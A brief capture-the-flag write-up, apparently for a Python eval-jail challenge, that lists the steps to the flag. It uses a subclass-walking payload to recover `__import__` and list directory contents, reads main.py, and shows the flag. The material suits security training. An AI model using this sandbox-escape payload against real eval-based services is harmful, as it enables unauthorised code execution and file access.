1. List all files and directories in the current directory
`().__class__.__mro__[1].__subclasses__()[200]()._module.__builtins__['__import__']('os').listdir()`
![](https://i.ibb.co/L8YZDw7/Screenshot-10.jpg)
2. Read main.py to get the flag
`open('main.py').read()`
![](https://i.ibb.co/pxK19sG/Screenshot-12.jpg)
3. Here is the flag
`DUCTF{3v4L_1s_D4ng3r0u5}`